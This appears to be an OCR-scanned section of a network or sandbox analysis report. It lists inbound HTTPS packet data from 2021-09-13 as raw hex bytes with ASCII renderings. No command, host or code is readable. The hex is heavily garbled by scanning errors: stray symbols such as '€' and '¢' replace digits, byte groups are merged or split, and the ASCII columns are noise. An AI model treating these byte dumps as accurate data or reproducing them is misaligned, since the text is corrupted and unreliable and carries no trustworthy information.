a8 e7 50 b5 30 ¢5 47 09 90 62 al f9 15 79 d8 41 5b 99 3f fO ca f4 9f b3 83 70 d8 5d 82 5f fa de 3d 76 f8 72 79 9d 21 76 b9
d0 b6 8¢ 75 1f b1 e8 58 25 5f 8e 09 98 a8 92 dd 4d 4e d4 99 58 95 01 6e 11 38 9b c6 59 a9 94 f9 c¢3 75 ba c4 38 99 57 d6
31 4f 8b 8b 23 31 28 36 81 54 95 4f 43 b7 91 80
Data Ascii: Q~M3E@GO0xkm+c 8kc|$"dB G/J{x] /?+__nY6Goyd+#+Mu|JEZ)m<:azUpDPOGbyA[?p]_=vry!vuX%_MNXn8Yu
8W10#1(6TOC

2021-09-13 23:07:18 UTC 301 IN Data Raw: 2e e2 24 05 a4 1a 70 fe b0 9c df f2 e0 07 6a 64 b4 cf 8b 67 c1 0d 61 8e 82 99 60 b1 88 19 30 aa c0 44 4d 9 af
c0 0c 70 19 fb 47 10 50 e4 70 16 8d b1 a8 93 62 fd c6 el cl ef Oc 1f 70 d2 55 6a €2 3d e7 5b b2 43 8d ba 98 e5 5d 23 5b
4299 43 68 1c 13 c0 a4 25 b3 5f 19 f1 55 4a 89 de 2d 2f 36 ec 72 7c 81 a6 d3 d8 1d 8b e7 12 8d 92 9d 36 64 59 3f e4 d5
ae 09 3d 94 69 9b ad db 6b f1 e0 Oa 2e 89 a6 dc 67 58 3c 80 38 3e ac 64 23 aa f9 b5 d2 79 c0 ef 11 39 f9 8b 7a 45 7a d9
45 19 c2 b0 6f f9 23 70 e6 5f b1 77 de d8 52 fd 05 7b 56 89 e4 el 7b a3 38 bd 15 14 3a 37 4e 45 86 c2 5e e2 d8 a7 ce 80
1la 74 98 el 14 99 cf ee 72 34 48 64 70 05 b4 91 03 09 cd 8¢ 2¢ bb 48 9b 52 71 07 6f 29 ef bd aa 9f 2b 4e ff 8b 22 9b 10 1f
3a 6fdb 14 de 12 cb 98 d7 25 b9 5b 87 29 e6 18 d1
Data Ascii: .$pjdga’ 0DMpGPpbpUj=[C]#[JCh%_UJ-/6r|6dY ?=ik.gX<8>d#y9zEzEo#p_wR{V{8:7NE*tr4Hdp,HRq0)+N":0%][)

2021-09-13 23:07:18 UTC 302 IN Data Raw: 4b b2 1b 90 c1 90 15 4a db eb 13 5e 49 6b 2d 26 da 30 €3 9c 1b 88 85 4e 41 4e a8 69 7e b4 03 c5 18 b9 ae 57
fe 32 38 44 94 93 83 2a f2 b3 5a bc 00 71 1d 48 fb 6¢ 48 7c 8f 56 d6 7a Oc Oa d7 50 81 8a 30 62 2b 76 ef bl el f7 23 b8 8f
6f e7 dc 66 da cc 56 9c dc 20 fe cb 77 ac 6e bf 08 c5 e4 86 5 90 87 37 ad 94 8d 07 70 48 04 36 14 87 25 92 c1 e0 7b d4
d1 5e 5c e2 24 27 20 a0 73 15 f5 49 8a d8 8e 47 ef 23 a6 4c 2b 61 e3 01 4f 3d c1 24 52 a9 1c a5 3a 08 62 ce 69 7 be b2
06 21 cc 3a 4c 51 9a 96 f5 a7 6¢ fd fe 54 6d 87 8a dd b0 46 6e c9 08 95 79 ae b9 7e ba 45 f9 b7 6f 68 df 6d 2e 64 50 b2 33
7b 75 36 1c 73 4c 1c 24 74 ef 63 b7 32 1b b7 7b ¢3 78 05 ¢5 d6 b7 12 8d 07 89 5d 6a e4 0f 6d 78 d2 aa a8 96 44 ef 1a 57
95 ea f1 81 5¢c b7 ea 6a 4b 2b a7 d6 a2 d4 b0 22 bf
Data Ascii: KJMk-&ONANi~W28D*ZgHIH|VzP0Ob+v#ofV wn7pH6%{M$' sIG#L+aO=$R:bi!:LQITmFny~Eohm.dP3{u6sL$
tc2{x]jmxDW\jK+"

2021-09-13 23:07:18 UTC 303 IN Data Raw: 2e 3e a6 81 90 51 9f 1f be 78 1f 44 eb d5 13 4d cc b7 €0 65 3b 5e e4 65 a7 d0 b3 f3 4e 53 cf 65 56 3a 07 ba bb
3242 c839 86 89 55 69 52 8b c2 52 8d e4 6¢ 5a 78 4d bf 9e ed 5f 35 96 ba 79 49 03 65 54 21 76 fd 23 f4 12 4c 6b e2 ff
54 ce 8302 1d d1 8e e3 b8 07 af 5a 01 €6 80 ¢7 98 52 08 d0 el 5d 34 61 ba 12 96 b1 d8 cf 02 dd 38 {7 a8 b4 d8 ff 9a c2
72 3c cc ea 5¢ 6f 27 10 2a 22 59 c6 2d 1a 82 18 47 a5 a4 1a 17 b8 c4 22 ce 4d el 9f 85 ea 21 96 c2 54 19 cd d0 61 bd 9¢c
c7 5d 0a 96 ba 90 eb ec 39 55 c¢7 07 02 83 65 b4 8f 46 1a ef ef 56 ba 5f 98 2f 25 ff f2 d5 15 a0 15 6f ce 4a 23 c0 e4 eb e0
be 67 71 41 df f8 92 37 3 8¢ b3 {3 33 fa 1f 1c 57 18 Ob ce 3b 00 9f 3a 5d ¢5 81 dO 7b 78 0d ca fd 41 5a 74 9b 4f 5f el 5a
1d 32 b0 c6 6b a0 3e 50 03 9c 64 4f 80 b4 03 73
Data Ascii: .>QxDMe;"eNSeV:2B9UIRRIZxM_5yleTIv#LkTZR]4a8r<\o*"Y-G"M!Ta]9UeFV_/%0J#gqA73W;:{xAZtO_Z
2k>PdOs

2021-09-13 23:07:18 UTC 304 IN Data Raw: fe Oa cf 31 7d 50 52 dO a6 c6 82 ab 6a 12 8c e0 4a a2 5c 4c 1b 61 82 95 95 49 1b 4f 51 52 f8 bf d6 85 09 72 5f
69 7f 5e 9c 2a db 06 69 14 71 78 14 70 44 47 Oe le 86 78 57 66 eb 9b 22 44 1f 6e ab f2 48 ec a6 c7 b2 63 f0 3b 97 dd 4c
a9 a5 80 03 e9 2a 77 56 3f e4 60 a3 fb 86 43 c2 02 05 8¢ 8f 2d 93 71 fa 07 eb 4f fb dd 9f c3 54 6¢ ac 60 02 16 68 d6 b9 21
9d 31 14 51 16 4a 6¢ 10 58 9b c2 ff 17 94 aa 5e 02 fe 84 dd 17 09 5d 36 e4 f8 f9 b3 4d 5b 29 79 5¢ 4a 42 35 25 2f cc 55
25cael e0 68 c2 a7 1f fb 6¢ 79 f5 0f dd 11 e5 45 al 78 55 5f 3d 48 93 9c Oa e7 91 3f 66 9a db b6 b7 fb 03 d2 cf c6 cb 16
8e ba 1a 5a c5 93 14 12 22 2f 80 b9 ee 82 c6 3d ee 44 f1 93 df bc 8d 46 7e dc 52 a4 1f 57 3a 2b 9a 92 20 a7 6b 14 7d 1le
8d 6e e6 78 1c d0 ea 4a 7d 13 1a 52 f2 a7 26 73
Data Ascii: 1}PRjJ\LalOQRr_i**igxpDGxWf'DnHc;L*wV?"C-qOTI h!1QJIXN6M[)y\IB5%/U%hlyExU_=H?{Z"/=DF~RW:+
kinxJ}R&s

2021-09-13 23:07:18 UTC 306 IN Data Raw: 2c 09 f7 96 ¢5 60 00 37 c¢6 7f 77 al 46 Oa 2d 3c c7 1b 6f 23 33 19 85 60 39 47 e2 5e 58 7b 7a el 70 9c fb 33 a5
33 d15d c0 13 ed c0 fe 4a 3a 4d e2 d5 1a 5¢c 8d 47 3b 82 15 7e e4 ab 4c d9 d6 bc ¢l 76 9d a7 ec ef 96 f9 bc cb dc cc f2
80 e7 6d 8b 79 b9 77 2e 7c 60 37 98 c5 2e 6b 9d 9a 98 14 €5 0d fb 19 fd bb ed 72 ad al f1 51 60 al 89 98 61 f8 68 19 f4
a2 fb 22 56 8e a8 92 1c 07 05 2e 88 d0 87 5a a6 f2 75 a0 58 06 44 f9 09 d6 aa 67 4d 72 98 50 e6 94 59 d7 7f 55 93 09 0d
9 cf 9e e7 85 a3 18 8c al b4 83
Data Ascii: , 7wF-<0#3'9G"X{zp33]J:M\G;~Lvmyw.| 7.krQ ah"V.ZuXDgMrPYU

2021-09-13 23:07:18 UTC 306 IN Data Raw: ba 06 46 ¢7 96 5d 2 9f bd 47 d7 8e fd c4 f2 7f 00 5d e7 9c 6a ab ba f2 68 a4 5f 52 02 6e fa 86 b8 61 bd 1c a7
dc 42 7d 42 33 0d d4 7f b5 25 55 08 19 8d 37 71 07 a5 85 53 a0 78 9c 84 9c 4b bb 65 ee ff ff fe 83 57 76 c0 aa 1d 2a 13
0b 06 45 a6 33 93 69 09 96 0d e7 €0 b4 08 3d b9 42 c9 6b 66 09 5d c0 61 81 65 b7 00 01 c5 26 d6 f5 bf 71 56 ca el f3 f5
d8 dd fd 02 72 b4 c8 62 14 01 6f dc Oe a3 25 9a 8f da f6 49 b7 b7 5b 22 8d 72 9¢c 24 17 6a f2 bb 3e 1b 8d 65 f1 04 b1 56
6b c2 8f 2e 57 00 9a bd 85 41 62 3a 9f 84 al 51 88 f8 71 61 1b 8f ae ca 68 34 c9 33 44 fe b8 ef 12 b1 f7 76 13 99 12 70 ce
bb 6d a3 3d 6a 1c dd d5 b4 c3 1c 40 45 e2 f9 bc 14 a2 ¢9 1 ea 2f 1a d2 11 bl 27 4a d1 83 68 36 cb 70 f3 57 e6 08 92 d2
23 4d ba de 74 13 94 7f ef 1c bb 96 62 72 53 89 40
Data Ascii: F]GJjh_RnaB}B3%U7qSxKeW\V*E3i=Bkflae&qVrbo%I["r$j>eVk.WAb:Qqah43Dvpm=j@E/' JIh6pW#MtbrS @

2021-09-13 23:07:18 UTC 307 IN Data Raw: 30 64 6a 88 27 4d 75 f3 6b f5 eb 5d 7f d9 cf 58 e2 41 44 00 b2 0d a7 26 7a 41 0f 9d e2 1f d3 33 c5 04 ea b7 c5
6e 10 7b 73 42 05 60 2e 73 32 fb 6b 06 e4 Oc f6 94 6d eb 2 59 fd 61 9c 51 ee 85 7f 33 b3 4c ae ef 66 35 d5 b4 9a 85 34 dc
3af98b 91 10 99 12 68 9d 03 b1l eb d2 4f b5 50 8e d4 4e ee ad 2d 91 c0 79 df c8 f4 06 db 6c 3a d7 16 4c 3e d2 46 f5 87
9c 9d e2 26 48 ba 92 b5 5b ¢8 67 1c 98 03 06 da ef dO 6f 67 43 84 13 7a 19 5a 6b 62 c3 5f 5b 26 43 b8 4a 22 f4 60 9d 1c
2c 0f 84 1c 1f 9b 10 1f 46 e3 9a 8b 2c 1c 72 23 22 74 1e a7 eb e7 ab 14 90 4d 7 1a 83 72 44 bb a5 91 eb fc ca e2 2e cc
2597 02 8b 47 Oe cd d1 11 af 44 54 db 93 13 95 06 0f 59 44 2e 30 9d aa 9c b0 01 2c 9a 9f 3b ee Ob 3f 65 3c 97 ec d5 81
84 7 ad 8b a5 b8 5¢ bl 26 e5 db 95 6f ec 7e Oe 69
Data Ascii: 0dj'Muk]XAD&zA3n{sB".s2kmYaQ3Lf54:hOPN-yl:L>F&H[gogCzZkb_[&CJ"™ F,r#"tMrD.%GDTYD.0,;?e<\&0~i

2021-09-13 23:07:18 UTC 308 IN Data Raw: 71 a4 b9 13 17 01 ¢5 12 5b 02 27 7d 96 10 04 17 6a 2f 4f b3 3c 44 7c 29 d4 b4 el 5e d0 3d 64 f6 19 ed dc ff f2
2a 79 8e 7e Oc 24 46 ae 5f 4f c9 7e df 5b 27 66 f8 5f 71 77 4b 32 68 3b e8 65 56 bf 8d ec 66 91 37 3a 6d d8 d8 82 29 b2 f8
8e e7 4e 16 c8 4e 67 51 54 d4 b7 fb 31 88 87 Ob 58 19 9b ae 6e f0 el 72 a5 a7 e3 f2 56 8d 7d 7e 59 87 c2 39 20 75 66 77
c4 ab 4b ac e8 56 b2 b8 60 21 42 a6 ca 1d 5b 2c f7 e4 aa b7 02 6b b4 32 32 e4 f3 39 36 33 a3 7a 74 6b b3 a0 98 08 3f cf
bb 07 d5 Oe 48 d1 a2 5c 8c b3 aa 6a 19 da 78 9b b4 d4 cf 81 29 6e 09 25 6d 4b b8 f0 81 11 32 56 el 5¢ f2 el b9 d4 ce 8b
7 70 f4 b6 6d a3 5¢ b6 40 86 b6 1b c6 c3 ac 5f ee 1e 2¢ 09 fb f2 41 a0 4c d5 Oe fO a9 6d 5e 60 25 0d 86 2e 8a b3 db 1f Oa
64 04 0d 1a f6 18 cd 29 96 27 14 6e 85 2d f2 b9
Data Ascii: q['}j/O<D|)*=d*y~$F_O~['f_qwK2h;eVf7:m)NNgQT1XnrV}~Y9 ufwKV'IB[,k22963ztk?H\jx)n%mK2V\pm
\@_,ALm"'%.d)'n-

2021-09-13 23:07:18 UTC 310 IN Data Raw: f1 56 cc 03 77 5e fe 97 99 22 52 43 9d cf 07 bd 5c¢ 1d 62 fO 8a 69 a5 bb e2 ff 54 48 ec eb eb d0 24 8d 73 89 f1
1d 47 4c 5d f1 14 04 ea 9f 68 eb 27 af 39 97 23 51 92 a3 8d 91 a2 b4 54 34 3d 78 77 88 4e c0 bf 2f 48 e5 15 f9 6b 17 85
02 0b 5a a4 69 aa 5f 53 Oc 9b e7 dO 5a 5¢ 4f 27 38 f3 d4 32 e9 2b 67 8f 5b €6 64 3a 14 df c4 e2 db 1c 13 76 6a 02 08 5d
54 39 da c9 57 db 7b 8c f7 75 18 0d cc 44 c7 5e ef 4a 0a 48 52 d7 b3 76 9e bc 18 d9 c2 6¢ €8 86 90 95 40 de 65 0d f5 2d
32 00 4e be cc 5e 72 5f 14 96 1d 87 b7 4f 37 f6 29 e0 b9 64 bb 70 20 10 0d a5 47 38 f3 7b 2c 1e cd 84 f1 01 e8 6e el 81
4b 67 4d 11 05 ea 9a af 43 d6 54 e0 3a cb 91 89 4c e0 cf 01 16 60 60 3f 36 90 33 cd 69 b0 69 a2 0d c6 Oc f4 fa 37 30 9c
55 e5 d6 67 e5 00 Oc c1 fd ab 8a 5f eb 34 fd 8e 50 59
Data Ascii: VWA"RC\biTH$sGL]N'9#QT4=xwN/HkZi_SZ\0'82+g[d:vj] TOW{uD*JHRvI@e-2N"r_O7)dp G8{,nKgMCT:L"*?
63ii70Ug_4PY
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 311 IN Data Raw: b6 f1 d8 23 98 07 77 3e cd 6a 34 71 e4 95 ec b7 f4 {3 87 47 45 ec bf 98 87 bd 6d f3 95 89 bb a7 01 ed 15 28 37
227c1c39ddelcl 3266 915cela2el5d92 21 4c 20 b4 ce 37 ff d1 84 89 Oe 56 1b 03 33 6e 0d 15 17 71 80 40 a3 ab
7a 5f 0c 92 35 f3 2b cc 9d 2b 57 8d 7b 68 db 71 16 a4 4e ae 7a 49 4e 67 bl f8 24 ef 53 97 6d 2a 1a 9b 09 60 fa 86 81 96
1c 04 eaf8 d9 5b 90 89 9a 50 cd eb 3a d1 ef 2e 0d e8 75 €9 f4 a6 6f 48 46 d5 40 db 87 3d 7c 1e 72 72 2d f7 13 06 d8 21
a7 bc 22 37 ab 65 aa 03 3e a6 b5 44 {7 6 5a dc ea 4a 7d 65 3d 6e 97 11 Oa 4a 45 01 4f f9 d3 c7 6a 1b 73 03 61 ad 87 13
3 d2 99 bf 2a 34 97 a8 4d 0d 78 14 f1 1f fa 01 6e 3a 03 e9 df 6f 96 b4 f8 b2 c8 ca 5f b0 ae b5 1a 87 8c bc ee d7 f4 10 c7 51
€9 63 ca 72 1d d6 94 6e b9 8b 65 80 69 41 fb 53
Data Ascii: #w>j4qGEm(7"|92\]'L 7V3nq@z_5++W{hgNzINg$Sm*'[P:.uoHF@=|rr-!"7e>DZJ}e=nJEOjsa*4Mxn:0__crneiAS

2021-09-13 23:07:18 UTC 312 IN Data Raw: ba 63 44 c¢7 bd 55 16 87 08 fa f8 cO d8 9c 9e 73 7b fd €8 97 17 0d 18 de 01 09 11 3f f5 f1 cc 06 4e 3a 71 98 38
ac 62 19 a7 al 3c 3d 1e 9e 93 60 4d 7b 6¢ 96 5c e7 a2 c5 8a d1 33 c4 8c ba c0 cb a4 f9 30 c1 5c 4b 46 36 1e 11 1le c6 92
aa e2 52 40 60 49 be bc 11 cf c9 6¢ 79 67 54 e7 41 4b 64 c5 81 8d c7 Ob 18 e2 eb 68 10 7e 5a 7a fe 09 47 c2 5e af 8f 52
26 8e cd ba 9b 5f 49 15 35 fe 34 69 59 42 81 ea 20 c1 51 d3 22 f3 2a 7d fe e7 bb 08 a2 Oe 43 26 ed dd 02 a2 c3 5e 8c f0
98 ce 63 fb €7 9a c¢7 07 c0 cc 2e 30 f7 59 1a a6 da 15 88 64 23 ¢3 0a b4 d5 86 Ob d3 59 5a ad b9 e0 8b 6b 46 50 63 d3 af
87 d8 7af2 74 c9 9e 54 61 7c 8f 35 33 0b 78 05 d5 2e 02 5a 85 79 9d 85 9b 84 a2 e2 f1 9a 61 3c c1 5b ec d8 3c 02 5c¢ fa
ab 29 7c fe 58 fb 3c 44 39 90 47 67 f1 91 5b a9 94 f6
Data Ascii: cDUs{?N:q8b<="M{I\30\KF6R@"llygTAKdh~ZzG"R&_154iYB Q"*}C&"c.0Yd#YZkFPcztTa|53x.Zya<[<\)|
X<D9Gg[

2021-09-13 23:07:18 UTC 313 IN Data Raw: 15 52 Oe 2d d2 10 66 29 cd 6d 40 a0 6b Oc c5 d5 40 88 59 3a b4 9c a4 18 25 9c 1f f6 a2 1e 6b b2 08 14 20 a7
03 7f ce 48 b4 67 a8 9f 41 8a ea 4a fe 28 60 cb 3d 1e e5 26 ae fb b2 6e d8 {7 46 1a 4e 45 4e 56 79 1b f3 51 5d 74 ee d8
92 2d 00 Oe 90 85 86 75 e9 3f fb c4 e2 33 95 77 bc da 73 b3 4b cc 1c fa 9f 30 f2 7a 9b 89 66 d9 20 18 9d 59 17 74 49 00
b2 15 dd fc be 03 23 94 69 c5 5e 93 94 a5 20 98 43 ad 12 1d a3 8d 87 f1 8f ea 7c cc 34 f5 a0 71 66 1d 8e 97 56 2e 89 6f
ce 50 a7 39 0d fb 45 24 f2 11 00 Oe bb 7a a0 3b e7 a4 09 74 f1 84 b8 db 8b b9 65 fc 3c d7 66 dc ee 77 1d 48 58 aa ce 1c
d9 73 69 d5 66 e6 2d dO 30 3f 36 c5 72 8¢ 16 8e b8 79 3d 2b 8d 52 60 3d f5 71 e6 66 ce 68 e2 f3 f6 71 3e Oc 84 24 fa 4a
13 7a 5b 53 4e ee be de 28 67 29 b6 d3 76 Oa 44 {8 c8 82
Data Ascii: R-fim@k@Y:%k HgAJ('=&nFNENVyQ]t-u?3wsKO0zf Ytl#i* C|4qfV.oP9E$z;te<fwHXsif-0?6ry=+R =qfhq
>$Jz[SN(g)vD

2021-09-13 23:07:18 UTC 315 IN Data Raw: 86 32 aa 42 7f af 34 7b 4d 23 56 0d 5b 49 8a d6 0d 06 2d f9 37 a4 a9 bd 53 61 c3 e4 c9 0f 70 30 Oe 08 13 d4
28 8c b0 5f d9 ba 10 a4 6e 96 6d 5f 99 5a cc 3c f1 4f 7f 3d Of e2 42 a9 01 b1 79 83 65 57 7f e9 05 9b 3 b6 3c 8f fe 90 fd fc
€5 08 05 ba Oc f4 1b a4 8d 1d 89 5e Oe Oa d1 fd 33 07 el b1 fb fb f2 9e 4c 57 24 a9 70 82 72 75 20 08 3b 8a 50 e7 cc 86
32310 cf e6 c5 24 92 7b 2c d3 2e 23 8a d9 14 7b bc f5 4f 17 6¢ a5 25 29 36 b2 54 27 8a ae 60 ed b7 9f 5f 2e 75 47 65 2e
a6 4c 03 04 28 6e 4b 3d bd 69 c7 54 24 d1 3a d0 6c a2 1f 4d 55 b2 93 54 2b c2 d9 Oe 14 65 f5 2d 11 19 fa fb 1f f5 ad e2 5b
e4 45 ¢8 1 c0 f2 c1 5d 66 22 ¢8 74 13 35 ¢7 40 cd 44 5a 95 3b fd 77 a7 42 15 32 42 a6 59 e2 e7 9a f3 05 e4 04 67 50 a3
70 c1 bb 6b 11 06 73 8f 0d 6e fO 85 d5 c6 bf
Data Ascii: 2B4{M#V[I-7Sap0(_nm_Z<O=ByeW<"3LW$pru ;P2%${, #{OI%)6T"_.uGe.L(nK=iT$:IMUT+e-[E]f"t5@DZ;
wB2BYgPpksn

2021-09-13 23:07:18 UTC 316 IN Data Raw: c9 aa 93 df 93 fc Ob 64 72 a4 78 1a 07 fa 58 f6 d6 19 a6 2a Ob 02 11 70 ec ¢3 21 0d 7f 1e ab 94 7b 82 1c 14 6¢
a8 ef ec fd be 67 70 4c 55 29 35 6d ce 87 bl a7 78 30 9f 83 48 ¢6 4c 5b b5 df 76 7b 7b de d8 ad da 88 36 af 01 b9 92 5f 7e
08 c8 00 d2 f2 6d 6b ce 48 2a ef 65 d9 1d bb b6 6¢ 47 62 bl 6e 59 44 32 3a 76 a5 50 e5 Oc c2 98 8d c3 e4 84 85 77 27 78
ac 82 af ea 61 d2 63 a2 90 6a 8f 08 70 dc 70 03 95 04 37 98 c3 Oa €8 82 68 e2 a8 1e b7 9b 03 26 16 58 b2 74 61 71 52 15
df f5 55 ¢5 ¢9 3b e3 2d 90 64 63 d7 3f 47 Oe b2 ed 5a 88 7e 02 d7 93 79 1e a4 97 ff ea 46 71 7c 8f 9d 33 e9 al 2f e5 43 51
ea 49 18 d0 7a a6 98 81 21 16 8e 01 8f 45 b6 43 d7 b6 d4 9a d1 c6 35 65 c6 a3 27 45 47 8e 25 b9 9a 7a a6 30 13 55 e2
ab a4 ad c5 eb 20 79 98 a5 cf 76 1e 84 b0 la cl 7a
Data Ascii: drxX*p{lgpLU)5mx0HL[v{{6_~mkH*elGbnYD2:vPw'xacjpp7h&XtaqRU;-dc?GZ~yFq|3/CQIz!EC5e'EG%z0U yvz

2021-09-13 23:07:18 UTC 317 IN Data Raw: 7d 30 2e 5f 3f 00 00 Oc 3b cb bf df fO a8 5e 29 bc 3f b5 d2 80 ce b0 ed bf 83 e7 92 72 b8 10 aa 1c d9 37 94 12
89 88 9a 4a b9 52 f6 92 59 af 8d b8 bl e7 e8 cc af f5 bc d5 a6 ¢9 f1 8a 7b 8f a7 6¢ f2 ¢5 14 bf 87 63 2a a7 11 81 43 Oe 1d
3c d5 5f 43 45 9b ff d4 0d ¢5 70 d4 15 e0 15 62 31 de 24 21 a2 54 c6 59 a5 aa d3 39 a4 73 56 1b 54 9d 29 3d 39 da 04 8f
70 d9 e8 4f 50 37 c0 6a b2 d0 8¢ 22 de ed 5¢ e3 74 08 e5 90 20 fb 53 5a 88 c3 dc 2b a0 73 23 23 Oe 8f 58 32 da 3b d3 40
6f 86 07 97 55 €3 99 e4 5f 14 73 77 97 14 al c7 aa fb 78 49 6f 42 82 84 d3 78 1e a7 1d 57 b5 bl 23 6d b3 78 4a aa d5 c3
f7 58 al af d4 4e 01 7b ee c3 5e 3d 28 ec 0a 20 b7 48 bd d7 62 cc 36 ff ce 9a c8 Of 2d 28 d4 b0 35 ab e6 03 67 ea Ob 83
29 ab c5 87 39 a8 fd 2f f8 73 4e 24 8f f3 21 11 e7
Data Ascii: }0._?;%)2r7JRY{lc*C<_CEpb1$!TY9sVT)=9pOP7j"\t SZ+s##X2;@0U_swxIoBXWH#mxIXN{*=( Hb6-(5g)9/sN$!

2021-09-13 23:07:18 UTC 319 IN Data Raw: db ca 8f 67 74 64 93 62 cd 1b ac e7 28 ca 7a 12 59 52 d0 b3 d8 e6 ae 93 13 ad f3 1a b3 21 3e 30 c8 al fc 73
45 9c 00 48 90 96 04 56 4f Oe b9 eb 5a Ob 72 66 09 5 f0 85 dc 1e 5b de 53 27 38 55 76 66 62 c7 bd 42 3e 65 0b f9 12 df
c4 ecc3eaea02d9 9e bl 1c db 70 78 Oa b6 9d 3e ef 2¢c c6 6e b7 b7 Ob 8a 27 a4 f0 5f 86 6d 64 f0 57 ea bc c6 cd 2a eb
a9 ea 1f d6 84 69 9b 47 82 77 04 03 52 59 64 al bf 5f a5 92 f4 b1 48 39 {7 ee 1f 94 89 be d8 78 d6 64 18 26 03 d0 8a 9b
63 e0 cO cb b0 f9 30 c1 5c 4b 46 e4 Oc f6 47 41 58 07 e0 47 40 60 40 bf f1 72 2d 26 18 fe a4 6d 89 49 3e 6f ad ed e6 38 7f
6f 32 74 5a 70 00 79 89 f7 bb be 3b 1d 20 fd 46 af Oa f3 b1 a6 2e 41 61 fa 43 f2 ab 2d f8 02 2c 0d 11 a6 04 fe 7b 29 c0 Of
ca 6e 4c d6 8f 8a 23 e6 e0 le c8 40 92 de 8c af Of
Data Ascii: gtdb(zYR!>0sEHVOZrf[S'8UvfbB>epx>,n"_mdW*GWRYd_HIxd&cO\KFGAXG@ @r-&mI>0802tZpy; F.AaC-,
onL@

2021-09-13 23:07:18 UTC 320 IN Data Raw: 58 0f d2 35 b7 33 70 f5 b5 4d eb 09 b6 33 66 91 4b al 28 93 e7 5f 27 e2 9b 4b 47 6e 1f 11 90 56 7a c3 c8 14
44 2e ab do f7 8f 82 6d bb 79 7a b5 94 7d 49 98 eb ad ac d6 79 7d 79 15 23 07 c2 64 89 3b 8¢ f0 56 9b b2 21 ea 62 cb 51
Ob 62 93 €8 €6 d5 71 2b 90 4c 4b 49 62 20 39 ec 91 d6 9a 5a 84 b2 1a d1 d2 b9 6e 1c 8a 65 ce a7 06 09 3b 2a bf 50 de ef
a6 8b 07 1c 17 df 30 e0 28 68 22 1b 21 2c f0 d3 61 66 75 06 5¢c f7 f8 77 90 b7 03 c1 b3 04 6f 4e fd 11 3f 1c 6e 70 4d 53 a7
€8 53 4c 4e 98 5f 04 Oe 39 f3 d2 13 25 63 17 2b 7b 2b 8e ac d5 0d 9d 2c 4f 73 33 e2 37 f0 13 43 43 07 bd 7e 5a 33 a7 66
c10d d7 ef b8 fb ad 0d d3 4c af 24 f6 ca 4d 1a bd a8 7c bd 00 11 54 09 1d 63 d9 c9 9d fO c6 02 6a 10 f0 67 5e e4 fd fb 53
21 75 9c ¢4 66 80 ac 63 99 69 7e 0d 0a 87 1e df 90
Data Ascii: X53pM3fK(_'KGnVzD.myz}ly}y#d;V!bQbqg+LKIb 9Zne;*PO(h"!,afulwoN?npMSSLN_9%c+{+,0s37CC~Z3fL
$M|Tcjg”Slufci~

2021-09-13 23:07:18 UTC 321 IN Data Raw: 30 4e 01 73 46 1b 62 66 92 69 e0 40 b3 1d 9a 0f 1e 7e 01 5a 92 56 ae 55 c5 80 ec 40 ee d7 dd ce 7c b0 3f fa
1a 08 03 21 98 18 11 af 9b 48 38 3d 9c 4d 68 c4 €6 60 48 ba b7 d4 da a4 2b 93 45 3e 6f 45 9f 08 99 94 d4 ac b7 67 3b c5
2f 26 7f 6¢ 9c 39 02 38 fd 5a b3 32 ac faed 74 51 03 fc 16 79 47 f1 d7 02 94 1c c9 6f 86 5a 59 a0 33 7d 6d 22 83 d5 8e 85
d9 e7 74 8e 5b 16 6e 94 c3 17 08 f2 6e e4 2b 2c¢ f3 3f 12 53 ¢1 91 1c 1a 17 c3 46 ca 5e b3 8d b6 6b 0a 1d d4 8b 3c Ob 06
b2 47 c2 ef 13 81 ea 86 53 87 34 7b d6 75 b9 f6 ea 9e f6 20 33 25 08 c8 b0 a4 69 c1 3c 52 86 94 04 53 83 ab cc 71 ea 79
b0 76 dd dc ae f8 b3 9f 19 26 Ob 2d ff e2 61 ca 79 f2 e5 4c bf 54 ¢5 9d af 1f 4a 04 34 d3 49 1e 60 c4 33 e8 3d de 6d a2 d4
60 8d 4f f3 d7 74 f5 72 a7 7a cb 3e 68 4f 43 65 c1
Data Ascii: ONsFbfi@~ZVU@|?!H8=Mh'H+E>0Eg;/&I98Z2tQyGoZY 3}m"t[nn+,?SF k<GS4{u 3%i<RSqyv&-ayLTJ4l'3=m
“Otrz>hOCe
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 322 IN Data Raw: ce 58 €6 cb 8f 3d bd b8 c0 4b 66 01 02 9c 36 €3 1b 95 2e 7 4e fd 92 a4 5a 28 3b c7 Ob c4 36 aa €5 e6 d4 a6
c6 af 1b f3 39 9a f5 1b e7 1d d5 bd 0d e4 8f 86 ad el 41 a5 6b 6a f9 18 d3 35 7a a7 ec 93 c4 dd 17 5b e0 91 6b e7 9a 03
7b 80 8e 5c¢ f6 cd be 3c 8f 79 a3 57 85 ¢8 3b a6 4f 97 24 56 27 e2 c6 98 5b a6 e7 17 f0 dd 00 ea cc 04 17 80 0d e0 59 7b
79 cf 10 99 22 31 d1 76 e4 dc 92 c9 e8 3b f7 79 25 b0 d2 99 ca c1 el 2b da fO 12 93 06 74 10 27 b5 Ob c1 41 76 74 03 8¢
fecleefdad 2957 e8 cffa 57 84 a9 62 96 el 92 73 69 ed ea 61 a3 c4 82 ad 7b 3d al ea 1d 0d b2 86 1b 7f 89 b4 68 1d
35ee 70 d1 00 67 31 80 1c 6f 7d f6 15 ec 57 07 49 a4 52 6f b8 48 2b ea 97 d7 87 2b 3a 9d ab 4b fd 99 18 2d 73 70 00 ec
f5 a8 39 d5 59 75 c4 fb 17 da 7e 85 27 a7 12 b8 7f 02 7d
Data Ascii: X=Kf6.NZ(;69Akj5z[k{\<yW;O0$V'[Y{y"1v;y%+t'Avt)WWhsia{=h5pg1o}WIRoH++:K-sp9Yu~}

2021-09-13 23:07:18 UTC 324 IN Data Raw: ce 7b 10 69 61 49 53 3a 38 2a 30 6b 53 71 61 d3 24 48 59 46 d7 69 ed 16 0d e7 d3 71 4e 7b f2 c9 23 a8 1e 41
fa b5 93 53 b5 a2 c7 8a 3a 23 9b 5f d5 fb cb 6e 72 05 80 53 96 ¢4 Ob 65 79 d1 89 10 b1 el 2d 59 13 24 c4 1f 64 7c 37 48
€812 06 54 08 27 4c 7b e7 46 €2 50 1a 06 f9 f1 dc a7 56 6b f7 4e €2 59 79 c9 eb Oe 3b 4c 32 97 9¢ 92 1b 5f 97 6e 34 a2
8c 76 df 33 98 70 59 17 8a cd 04 ca el af Ob ec e5 55 94 47 fe d8 c1 f6 f2 fe 05 c3 e7 1e 7a 67 e5 1d 06 0d 3c 28 6d Oe e
